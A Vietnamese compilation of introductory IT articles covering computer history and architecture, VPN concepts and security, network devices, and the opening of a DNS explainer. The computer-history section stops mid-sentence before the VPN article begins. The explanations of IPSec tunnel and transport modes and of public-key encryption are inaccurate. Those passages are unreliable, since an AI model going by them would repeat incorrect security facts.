Các máy tính có mục đích không nhất định còn được gọi là các máy loại Turing hoàn tất và điều này được sử dụng như khả năng ngưỡng để định nghĩa các máy tính hiện nay, tuy nhiên, định nghĩa này có vài vấn đề. Một số thiết bị tính toán với thiết kế đơn giản đã được chứng tỏ là có tính Turing hoàn tất. Cho đến nay, Z3, phát triển bởi Konrad Zuse năm 1941, là chiếc máy tính hoạt động đầu tiên đã được chứng tỏ đạt được tính chất này, (chứng minh được hoàn thành vào năm 1998). Trong khi Z3 và có thể một số thiết bị khác có tính Turing hoàn tất trên lý thuyết, trên thực tế chúng không phải là những máy tính có mục đích không nhất định. Chúng thuộc về những cái được gọi một cách hài hước là Turing Tar-Pit - "chỗ ở đó mọi điều đều có thể nhưng chẳng có gì là thực tế" (Xem Jargon File). Các máy tính hiện đại không những có mục đích không nhất định trên lý thuyết còn có mục đích không nhất định trên thực tế. Các máy tính hiện đại như loại kỹ thuật số, loại điện tử hay loại có mục đích không nhất định được phát triển bởi nhiều người đóng góp trong một khoảng thời gian dài từ giữa thập niên 1930 tới cuối thập niên 1940, trong giai đoạn này rất nhiều cỗ máy thử nghiệm đã được phát triển có thể coi là có tính Turing hoàn tất (như ABC, ENIAC, Harvard Mk I, Colossus v.v.) (Xem thêm Lịch sử phần cứng máy tính). Tất cả các cỗ máy này trong thời đại của chúng đều được cho là chiếc máy tính đầu tiên, nhưng tất cả đều có những giới hạn nhất định trong mục đích sử dụng và thiết kế của chúng đã sớm bị thải loại.

[sửa]
Các máy tính có sẵn chương trình
Trong cuối thập niên 1940 thiết kế đầu tiên cho máy tính có sẵn chương trình (stored-program computer) đã được phát triển và biên khảo (Xem thêm Bản thảo đầu tiên) tại trường công nghệ điện Moore của Đại học Pennsylvania. Phương pháp giải quyết, mô tả trong tài liệu, được biết đến như là kiến trúc Von Neumann, mang tên của nhà toán học Jon von Neumann mặc dù các thành viên của trường công nghệ điện Moore mới thực sự sáng chế ra thiết kế này. Kiến trúc Von Neumann đã giải quyết vấn đề thuộc về thiết kế của máy ENIAC và sửa đổi bằng cách lưu trữ chương trình của máy trong bộ nhớ của nó. Von Neumann cung cấp thiết kế này cho các nhà nghiên cứu khác ngay sau khi ENIAC được công bố vào năm 1946. Nhiều kế hoạch đã được phát triển để hoàn thiện thiết kế này tại trường Moore trong chiếc máy có tên gọi là EDVAC. EDVAC đã không hoạt động được cho đến tận năm 1953 vì các khó khăn kỹ thuật trong việc hoàn thiện độ tin cậy của bộ nhớ. Các viện nghiên cứu khác từ bản sao của thiết kế này đã giải quyết được vấn đề đó trước trường Moore và hoàn thiện các máy tính có sẵn chương trình của họ. Theo thứ tự của việc hoạt động thành công thì 5 chiếc máy tính có sẵn chương trình đầu tiên dựa trên cơ sở của kiến trúc Von Neumann là:

Manchester Mk I nguyên mẫu (Baby) Đại học Manchester, Anh 21 tháng 6, 1948.
EDSAC Đại học Cambridge, Anh 6 tháng 5, 1949.
BINAC Mỹ, tháng 4 1949 hoặc tháng 8, 1949.
CSIR Mk 1 Úc tháng 11, 1949.
SEAC, Mỹ, 9 tháng 5, 1950.
Thiết kế "chương trình có sẵn", được định nghĩa bởi kiến trúc Von Neumann, cuối cùng đã cho phép máy tính khai thác tiềm năng "mục đích không nhất định" của chúng. Bằng cách lưu trữ chương trình trong bộ nhớ, chúng có thể nhanh chóng "nhảy" từ chỉ thị này tới chỉ thị khác dựa trên kết quả của một điều kiện như đã được định nghĩa sẵn trong chương trình. Các điều kiện này thông thường lượng giá các dữ liệu đã được tính toán bởi chương trình và cho phép chương trình trở thành động hơn. Thiết kế này cũng hỗ trợ vào khả năng tự động viết lại chương trình ngay trong khi nó đang thực thi - một đặc trưng rất mạnh nhưng cần sử dụng một cách cẩn thận. Các đặc trưng này là nền tảng cho các máy tính hiện đại.

Nói một cách chính xác, phần lớn các máy tính hiện đại là thiết bị tính toán theo phép nhị phân, bằng điện tử, có sẵn chương trình và có mục đích không nhất định.

[sửa]
Các máy tính có mục đích đặc biệt
Các máy tính có mục đích đặc biệt (special-purpose computer) đã được phổ biến trong thập niên 1930 và đầu thập niên 1940 nhưng vẫn chưa bị thay thế hoàn toàn bởi các máy tính có mục đích không nhất định. Sự giảm xuống về kích thước và giá cả cũng như sự tăng năng lực của chúng đã làm việc sử dụng máy tính có mục đích đặc biệt trong các ứng dụng đặc biệt thành một hiệu quả tốt về mặt chi phí. Rất nhiều các thiết bị dùng tại nhà và công nghiệp như điện thoại di động, máy thâu video, hệ thống đánh lửa tự động v.v có chứa loại máy tính có mục đích đặc biệt này. Trong một số trường hợp các máy tính này là loại Turing hoàn tất (như máy chơi trò chơi điện tử, PDA) nhưng rất nhiều trong số của chúng được lập trình một lần tại nhà máy sản xuất và rất ít khi phải lập trình lại. Chương trình mà các thiết bị này thực thi thông thường được lưu trữ trong bộ nhớ chỉ đọc (ROM) mà khi cần thiết có thể thay thế để thay đổi hoạt động của máy. Các máy tính được nhúng bên trong các thiết bị khác thông thường được gọi là bộ vi điều chỉnh (microcontroller) hay máy tính nhúng (embedded computer).

[sửa]
Các máy tính có một mục đích
Các máy tính có một mục đích (single-purpose computer) là loại xuất hiện sớm nhất của thiết bị máy tính. Khi được cung cấp dữ liệu nó có thể tính kết quả của một hàm đơn giản đã được thiết lập trong cơ chế của nó. Các máy tính có mục đích không nhất định gần như đã thay thế hoàn toàn các máy tính có một mục đích và, do đó, đã phát sinh một lĩnh vực hoạt động mới của loài người - việc phát triển phần mềm. Các máy tính có mục đích không nhất định cần phải được lập trình với một bộ chỉ thị liên quan đến hành động mà chúng được yêu cầu thực hiện và các chỉ thị này được biết đến một cách tổng quát như là phần mềm máy tính. Việc thiết kế các thiết bị tính toán có một mục đích hay có mục đích đặc biệt hiện nay là những bài tập khái niệm thuần túy bao gồm các phần mềm thiết kế.

[sửa]
Theo hình thức hoạt động
Máy tính có thể được phân loại tùy theo cách thức người dùng vận hành. Có hai loại chính: kiểu xử lý tuần tự (batch processing) và kiểu xử lý tương tác (interactive processing).

[sửa]
Các ứng dụng máy tính
Các máy tính điện tử dùng kỹ thuật số (digital computer) đầu tiên, với kích thước lớn và giá thành cao, phần lớn thực hiện các tính toán khoa học, thông thường để hỗ trợ các mục tiêu quân sự. ENIAC đầu tiên được thiết kế để tính toán các bảng đạn đạo cho pháo binh nhưng nó cũng được sử dụng để tính toán mật độ nơtron trên bình diện để hỗ trợ vào thiết kế bom khinh khí. Công việc tính toán này, xảy ra từ tháng 12, 1945 đến tháng 1, 1946 với hàng triệu thẻ đục lỗ, vạch ra rằng một thiết kế cho bom kinh khí đang được xem xét lúc đó sẽ không thành công. (Rất nhiều siêu máy tính hiện nay cũng được sử dụng để giả lập các vũ khí hạt nhân.) CSIR Mk I, chiếc máy tính có sẵn chương trình (stored-program computer) đầu tiên của Úc được sử dụng để lượng giá các mô hình mưa cho lưu vực các sông thuộc sơ đồ dãy núi Snowy, một dự án thủy điện lớn. Các máy khác được sử dụng trong việc phân tích mã hóa, ví dụ như chiếc máy tính với kỹ thuật số được lập trình đầu tiên trên thế giới (tuy không phải là máy tính có mục đích không nhất định) là Colossus, được lắp ráp trong Đệ nhị thế chiến. Bất chấp sự định hướng ban đầu cho các ứng dụng khoa học, máy tính đã được sử dụng trong nhiều lĩnh vực khác.

Trước tiên các máy tính có sẵn chương trình được sử dụng để giải quyết các vấn đề kinh doanh. LEO, máy tính có sẵn chương trình lắp ráp bởi công ty J. Lyons and Co tại Anh, đã hoạt động và được sử dụng để quản lý hàng tồn kho, cũng như các mục đích khác, cho 3 năm trước khi IBM lắp ráp chiếc máy tính có sẵn chương trình đầu tiên của họ. Việc giảm giá thành và kích thước của máy đã liên tục làm nó phù hợp cho những tổ chức nhỏ hơn. Với sự phát minh ra bộ vi xử lý trong thập niên 1970 thì việc lắp ráp máy tính rẻ tiền đã trở thành khả thi. Trong thập niên 1980 máy tính cá nhân trở lên phổ biến cho nhiều công việc từ kế toán, soạn thảo, in ấn tài liệu tới tính toán các dự báo và các công việc toán học lặp lại qua các bảng tính.

[sửa]
Internet
Trong thập niên 1970, các kỹ sư điện toán của các viện nghiên cứu trên khắp nước Mỹ bắt đầu liên kết máy tính của họ với nhau thông qua công nghệ của ngành liên lạc viễn thông. Những cố gắng này được ARPA hỗ trợ, và mạng máy tính mà nó cung cấp được gọi là ARPANET. Các công nghệ tạo ra Arpanet đã mở rộng và phát triển sau đó. Chẳng bao lâu, mạng máy tính mở rộng ra ngoài các viện khoa học và được biết đến như là Internet.

Trong thập niên 1990, việc phát triển của công nghệ World Wide Web đã làm cho ngay cả những người không chuyên nghiệp cũng có thể sử dụng internet. Nó phát triển nhanh đến mức đã trở thành phương tiện liên lạc toàn cầu như ngày nay.

[sửa]
Phương thức hoạt động
Trong khi các công nghệ sử dụng trong máy tính không ngừng thay đổi kể từ những chiếc máy tính có mục đích không nhất định đầu tiên của thập niên 1940 (Xem Lịch sử phần cứng máy tính) thì phần lớn các máy tính vẫn còn sử dụng kiến trúc Von Neumann.

Kiến trúc Von Neumann chia máy tính ra làm bốn bộ phận chính: đơn vị số học và lôgic (ALU), đơn vị kiểm soát, bộ nhớ và các thiết bị đầu/cuối (I/O). Các bộ phận này được kết nối với nhau bằng hàng đống dây điện (bus) và thông thường được điều chỉnh bởi bộ đếm thời gian hay đồng hồ (mặc dù các sự kiện khác cũng có thể điều chỉnh đơn vị kiểm soát).

[sửa]
Bộ nhớ
Trong hệ thống này bộ nhớ là sự nối tiếp của các ô đánh số thứ tự, mỗi ô chứa một phần nhỏ của thông tin. Thông tin có thể là chỉ thị cho máy tính. Mỗi ô cũng có thể chứa dữ liệu mà máy tính cần để thi hành chỉ thị. Nội dung của một ô nhớ có thể thay đổi ở bất kỳ thời điểm nào.

Kích thước một ô nhớ cũng như số lượng ô nhớ thay đổi theo từng máy tính giống như công nghệ sử dụng trong việc chế tạo bộ nhớ, từ relay cơ-điện tới ống chứa thủy ngân, từ băng từ tới transistor hay IC.

[sửa]
Bộ xử lý (CPU)

Đơn vị lôgic và số học, (tiếng Anh viết tắt ALU), là thiết bị thực hiện các phép tính cơ bản như các phép tính số học (cộng, trừ, nhân, chia, v.v), các phép tính lôgic (AND, OR, NOT, v.v) cũng như các phép so sánh (ví dụ: so sánh nội dung của hai byte xem có bằng nhau). Đơn vị này là nơi mà các "công việc thực sự" được thực thi.

Đơn vị kiểm soát theo dõi các byte trong bộ nhớ có chứa chỉ thị để máy tính thực thi, cung cấp cho ALU một chỉ thị cần phải thực thi cũng như chuyển kết quả thu được tới các vị trí thích hợp trong bộ nhớ. Sau khi điều đó diễn ra, đơn vị kiểm soát chuyển tới chỉ thị kế tiếp (thông thường nằm tại địa chỉ ngay sau), nếu không thì chỉ thị sẽ là chỉ thị nhảy thông báo cho máy tính là chỉ thị tiếp theo nằm tại một địa chỉ khác. Khi tham chiếu tới bộ nhớ, chỉ thị hiện thời có thể sử dụng một số phương thức đánh địa chỉ (addressing mode) để xác định địa chỉ liên quan trong bộ nhớ. Một số bo mạch chủ trong máy tính có thể gắn được hai hay nhiều bộ xử lý. Các loại máy tính phục vụ thường có hai hay nhiều bộ xử lý.

[sửa]
Thiết bị đầu/cuối (I/O)
Thiết bị đầu/cuối (còn gọi là thiết bị vào/ra) cho phép máy tính thu nhận thông tin từ bên ngoài và gửi kết quả công việc của nó ngược trở lại. Có rất nhiều chủng loại thiết bị đầu cuối như bàn phím, màn hình, ổ đĩa mềm, máy in, ổ USB, ổ cứng di động tới những thiết bị không thông dụng như webcam.

Công việc của thiết bị đầu vào (input) là mã hóa (chuyển đổi) thông tin từ nhiều định dạng sang dạng dữ liệu mà máy tính có thể xử lý tiếp. Các thiết bị đầu ra (output) thì ngược lại, thực hiện công việc giải mã dữ liệu thành thông tin mà người sử dụng có thể hiểu được. Với ý nghĩa này thì hệ thống máy tính có thể coi như một hệ thống xử lý dữ liệu.

[sửa]
Các chỉ thị
Tập hợp các ngôn ngữ dùng cho chỉ thị của máy tính thì không nhiều như ngôn ngữ của con người. Máy tính có một tập hợp hữu hạn gồm các chỉ thị đơn giản đã được định nghĩa trước. Nó chỉ có thể thực thi hai nhiệm vụ là đếm và so sánh. Các loại chỉ thị điển hình mà phần lớn máy tính có thể hỗ trợ, chuyển sang ngôn ngữ con người, là "sao chép nội dung ô 123, đặt bản sao đó vào ô 456", "thêm nội dung của ô 666 vào nội dung ô 042, đưa kết quả vào ô 013", "nếu kết quả của ô 999 là 0, chỉ thị tiếp theo nằm tại ô 345"...

Các chỉ thị trong máy tính tương ứng với mã trong hệ nhị phân - hệ đếm cơ số 2. Ví dụ mã của chỉ thị sao chép ("copy") có thể là 001. Tập hợp các chỉ thị mà một máy tính hỗ trợ được gọi là ngôn ngữ máy của máy tính. Trong thực tế, người ta thông thường không viết các chỉ thị cho máy tính bằng ngôn ngữ máy mà sử dụng các ngôn ngữ lập trình "bậc cao" để sau đó chúng được dịch sang ngôn ngữ máy một cách tự động bởi các chương trình máy tính đặc biệt (trình thông dịch (interpreter) và trình biên dịch (compiler)). Một số ngôn ngữ lập trình rất gần với ngôn ngữ máy như assembler gọi là ngôn ngữ bậc thấp; ngược lại các ngôn ngữ lập trình như Prolog, Basic, Delphi... dựa trên các nguyên lý trừu tượng rất xa với hoạt động thực sự của máy gọi là ngôn ngữ bậc cao.

[sửa]
Kiến trúc
Các máy tính hiện đại ghép chung ALU và đơn vị kiểm soát vào trong một IC gọi là đơn vị xử lý trung tâm hay CPU. Thông thường, bộ nhớ máy tính nằm trong một số IC nhỏ gần CPU. Phần lớn trọng lượng máy tính là các bộ phận phụ thuộc như hệ thống cung cấp điện hay các thiết bị đầu/cuối (I/O).

Một số máy tính lớn khác biệt với mô hình trên ở điểm chính sau - chúng có nhiều CPU và đơn vị kiểm soát hoạt động đồng bộ. Ngoài ra, một số máy tính, sử dụng chủ yếu trong nghiên cứu và tính toán khoa học, khác biệt rất đáng kể với mô hình trên, nhưng chúng ít có ứng dụng thương mại vì mô hình lập trình chúng vẫn chưa được chuẩn hóa.

Vì vậy, hoạt động của máy tính thì không phức tạp trên nguyên lý. Thông thường, trong mỗi nhịp đồng hồ, máy tính sẽ nhận được các chỉ thị và dữ liệu từ bộ nhớ của nó. Các chỉ thị được thực thi, kết quả được lưu lại và chỉ thị tiếp theo được nhận về. Quá trình này tiếp diễn cho đến khi gặp chỉ thị dừng.

[sửa]
Chương trình
Chương trình máy tính đơn giản chỉ là một danh sách các chỉ thị để máy tính thực thi, có thể với các bảng dữ liệu. Rất nhiều chương trình máy tính chứa hàng triệu chỉ thị và rất nhiều chỉ thị được lặp đi lặp lại. Một chiếc máy tính thông thường ngày nay (năm 2003) có thể thực hiện 2-3 tỷ chỉ thị trong một giây. Máy tính không có các khả năng đặc biệt thông qua việc thực thi các chỉ thị phức tạp mà cơ bản là nó chỉ thực thi các chỉ thị đơn giản do lập trình viên đưa ra. Một số lập trình viên giỏi phát triển các tập hợp chỉ thị dùng cho một số công việc chung (như vẽ một điểm trên màn hình) và cung cấp các tập hợp chỉ thị đó cho các lập trình viên khác. Một số lập trình viên khác chỉ phát triển các ứng dụng thực tế dựa trên các nền tảng mà các lập trình viên kia cung cấp cho họ.

Hiện nay, phần lớn máy tính có thể thực hiện cùng một lúc vài chương trình. Điều này được gọi là đa nhiệm (multitasking). Trên thực tế, CPU thực thi các chỉ thị của một chương trình, sau một khoảng thời gian ngắn, nó chuyển sang thực thi các chỉ thị của chương trình thứ hai v.v. Khoảng thời gian ngắn đó được xem như là sự phân chia thời gian của CPU và nó tạo ảo giác như là các chương trình được thực thi đồng thời. Điều này cũng tương tự như phim là sự chuyển động đơn giản của các ảnh kế tiếp nhau. Hệ điều hành là chương trình thông thường kiểm soát sự phân chia thời gian đó.

[sửa]
Hệ điều hành
Máy tính thường xuyên cần ít nhất một chương trình luôn luôn chạy để đảm bảo sự hoạt động của nó. Trong điều kiện hoạt động bình thường (đối với các máy tính tiêu chuẩn) chương trình này được gọi là hệ điều hành (operating system). Hệ điều hành sẽ quyết định chương trình nào được thi hành, khi nào và bao nhiêu tài nguyên (như bộ nhớ hay đầu vào/đầu ra) chúng được cấp. Hệ điều hành cũng cung cấp một lớp trừu tượng trên phần cứng và cho phép truy nhập bằng các dịch vụ cung cấp cho các chương trình khác, như mã ("driver") cho phép lập trình viên viết chương trình cho máy tính mà không cần thiết phải biết các chi tiết thuộc bản chất của các thiết bị điện tử đính kèm.

Phần lớn các hệ điều hành có các lớp trừu tượng phần cứng đều có một giao diện người dùng (user interface) chuẩn hóa. Hệ điều hành phổ biến nhất hiện nay là các Windows

Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm được được chi phí và thời gian.





Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.





Khái niệm



Về cơ bản, VPN là một mạng riêng sử dụng hệ thống mạng công cộng (thường là Internet) để kết nối các địa điểm hoặc người sử dụng từ xa với một mạng LAN ở trụ sở trung tâm. Thay vì dùng kết nối thật khá phức tạp như đường dây thuê bao số, VPN tạo ra các liên kết ảo được truyền qua Internet giữa mạng riêng của một tổ chức với địa điểm hoặc người sử dụng ở xa.



Các loại VPN



Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN điểm-nối-điểm (site-to-site)



VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm VPN máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các kết nối an toàn, có mật mã.
VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.



Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN Extranet.



Bảo mật trong VPN



Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet. Bạn có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và giao thức được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của Cisco có thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ điều hành Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt trước khi thiết lập VPN.



Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật mã chung.



Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã bí mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng yêu cầu bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã lên đó, để máy tính của người nhận có thể giải mã được.



Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của bạn cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã một message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng thời cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ biến là Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì.



Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng nhập toàn diện hơn.



IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề (header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài ra, tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi hệ thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu giữa nhiều thiết bị khác nhau như router với router, firewall với router, PC với router, PC với máy chủ.



Máy chủ AAA



AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về những hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích an toàn.



Sản phẩm công nghệ dành cho VPN



Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là:



- Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa.

- Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật PIX.

- Server VPN cao cấp dành cho dịch vụ Dial-up.

- NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ người sử dụng từ xa.

- Mạng VPN và trung tâm quản lý.



Bộ xử lý trung tâm VPN



Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm của Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và thẩm định quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế chuyên biệt cho loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho phép người sử dụng dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng sản phẩm có các model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn (từ100 cho đến 10.000 điểm kết nối từ xa truy cập cùng lúc).

Router dùng cho VPN



Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp quy mô lớn.



Tường lửa PIX của Cisco



Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một cơ chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng VPN và chặn truy cập bất hợp pháp.



Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao, xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào IP.

Repeater



Trong một mạng LAN, giới hạn của cáp mạng là 100m (cho loại cáp mạng CAT 5 UTP – là cáp được dùng phổ biến nhất), bởi tín hiệu bị suy hao trên đường truyền nên không thể đi xa hơn. Vì vậy, để có thể kết nối các thiết bị ở xa hơn, mạng cần các thiết bị để khuếch đại và định thời lại tín hiệu, giúp tín hiệu có thể truyền dẫn đi xa hơn giới hạn này.

Repeater là một thiết bị ở lớp 1 (Physical Layer) trong mô hình OSI. Repeater có vai trò khuếch đại tín hiệu vật lý ở đầu vào và cung cấp năng lượng cho tín hiệu ở đầu ra để có thể đến được những chặng đường tiếp theo trong mạng. Điện tín, điện thoại, truyền thông tin qua sợi quang… và các nhu cầu truyền tín hiệu đi xa đều cần sử dụng Repeater.

Hub



Hub được coi là một Repeater có nhiều cổng. Một Hub có từ 4 đến 24 cổng và có thể còn nhiều hơn. Trong phần lớn các trường hợp, Hub được sử dụng trong các mạng 10BASE-T hay 100BASE-T. Khi cấu hình mạng là hình sao (Star topology), Hub đóng vai trò là trung tâm của mạng. Với một Hub, khi thông tin vào từ một cổng và sẽ được đưa đến tất cả các cổng khác.

Hub có 2 loại là Active Hub và Smart Hub. Active Hub là loại Hub được dùng phổ biến, cần được cấp nguồn khi hoạt động, được sử dụng để khuếch đại tín hiệu đến và cho tín hiệu ra những cổng còn lại, đảm bảo mức tín hiệu cần thiết. Smart Hub (Intelligent Hub) có chức năng tương tự như Active Hub, nhưng có tích hợp thêm chip có khả năng tự động dò lỗi - rất hữu ích trong trường hợp dò tìm và phát hiện lỗi trong mạng.

Bridge



Bridge là thiết bị mạng thuộc lớp 2 của mô hình OSI (Data Link Layer). Bridge được sử dụng để ghép nối 2 mạng để tạo thành một mạng lớn duy nhất. Bridge được sử dụng phổ biến để làm cầu nối giữa hai mạng Ethernet. Bridge quan sát các gói tin (packet) trên mọi mạng. Khi thấy một gói tin từ một máy tính thuộc mạng này chuyển tới một máy tính trên mạng khác, Bridge sẽ sao chép và gửi gói tin này tới mạng đích.

Ưu điểm của Bridge là hoạt động trong suốt, các máy tính thuộc các mạng khác nhau vẫn có thể gửi các thông tin với nhau đơn giản mà không cần biết có sự "can thiệp" của Bridge. Một Bridge có thể xử lý được nhiều lưu thông trên mạng như Novell, Banyan... cũng như là địa chỉ IP cùng một lúc. Nhược điểm của Bridge là chỉ kết nối những mạng cùng loại và sử dụng Bridge cho những mạng hoạt động nhanh sẽ khó khăn nếu chúng không nằm gần nhau về mặt vật lý.

Switch



Switch đôi khi được mô tả như là một Bridge có nhiều cổng. Trong khi một Bridge chỉ có 2 cổng để liên kết được 2 segment mạng với nhau, thì Switch lại có khả năng kết nối được nhiều segment lại với nhau tuỳ thuộc vào số cổng (port) trên Switch. Cũng giống như Bridge, Switch cũng "học" thông tin của mạng thông qua các gói tin (packet) mà nó nhận được từ các máy trong mạng. Switch sử dụng các thông tin này để xây dựng lên bảng Switch, bảng này cung cấp thông tin giúp các gói thông tin đến đúng địa chỉ.

Ngày nay, trong các giao tiếp dữ liệu, Switch thường có 2 chức năng chính là chuyển các khung dữ liệu từ nguồn đến đích, và xây dựng các bảng Switch. Switch hoạt động ở tốc độ cao hơn nhiều so với Repeater và có thể cung cấp nhiều chức năng hơn như khả năng tạo mạng LAN ảo (VLAN).

Router



Router là thiết bị mạng lớp 3 của mô hình OSI (Network Layer). Router kết nối hai hay nhiều mạng IP với nhau. Các máy tính trên mạng phải "nhận thức" được sự tham gia của một router, nhưng đối với các mạng IP thì một trong những quy tắc của IP là mọi máy tính kết nối mạng đều có thể giao tiếp được với router.

Ưu điểm của Router: Về mặt vật lý, Router có thể kết nối với các loại mạng khác lại với nhau, từ những Ethernet cục bộ tốc độ cao cho đến đường dây điện thoại đường dài có tốc độ chậm.

Nhược điểm của Router: Router chậm hơn Bridge vì chúng đòi hỏi nhiều tính toán hơn để tìm ra cách dẫn đường cho các gói tin, đặc biệt khi các mạng kết nối với nhau không cùng tốc độ. Một mạng hoạt động nhanh có thể phát các gói tin nhanh hơn nhiều so với một mạng chậm và có thể gây ra sự nghẽn mạng. Do đó, Router có thể yêu cầu máy tính gửi các gói tin đến chậm hơn. Một vấn đề khác là các Router có đặc điểm chuyên biệt theo giao thức - tức là, cách một máy tính kết nối mạng giao tiếp với một router IP thì sẽ khác biệt với cách nó giao tiếp với một router Novell hay DECnet. Hiện nay vấn đề này được giải quyết bởi một mạng biết đường dẫn của mọi loại mạng được biết đến. Tất cả các router thương mại đều có thể xử lý nhiều loại giao thức, thường với chi phí phụ thêm cho mỗi giao thức.

Gateway



Gateway cho phép nối ghép hai loại giao thức với nhau. Ví dụ: mạng của bạn sử dụng giao thức IP và mạng của ai đó sử dụng giao thức IPX, Novell, DECnet, SNA... hoặc một giao thức nào đó thì Gateway sẽ chuyển đổi từ loại giao thức này sang loại khác.

Qua Gateway, các máy tính trong các mạng sử dụng các giao thức khác nhau có thể dễ dàng "nói chuyện" được với nhau. Gateway không chỉ phân biệt các giao thức mà còn còn có thể phân biệt ứng dụng như cách bạn chuyển thư điện tử từ mạng này sang mạng khác, chuyển đổi một phiên làm việc từ xa...

TTM - Khi kết nối Internet, tất cả mọi dấu hiệu cho thấy cuộc kết nối suôn sẻ. Thế nhưng, sau khi đã gõ địa chỉ website vào trình duyệt rồi mà đợi mãi vẫn chẳng thấy website hiện ra.


Thanh Status (màu xanh lục) trên IE cũng không thấy xuất hiện. Kiểm tra lại mọi thứ thì vẫn thấy bình thường... Mãi một lúc lâu sau mới thấy trình duyệt thông báo Connecting to 64.128.xxx.xxx rồi sau đó vào website bình thường. Nhưng mỗi lần click vào link nào trên trang thì vẫn lặp lại tình trạng cũ.

DNS, Domain Name Server, hay còn gọi là máy chủ tên miền - là một trong những khâu vô cùng quan trọng trong tiến trình duyệt web của bạn.

Mỗi máy tính trên Internet được đánh dấu bằng một địa chỉ IP, là một mớ số. Tuy nhiên, không thể bắt người dùng nhớ cái mớ số đó, nhất là trong tương lai địa chỉ IP sẽ dài gấp bốn lần địa chỉ IP hiện nay (IPV6, 128 bits).

DNS chính là là giải pháp. Thay vì bắt con người nhớ số, mỗi số IP sẽ được đổi thành chữ và DNS có nhiệm vụ đổi chữ thành số tương ứng khi có yêu cầu.

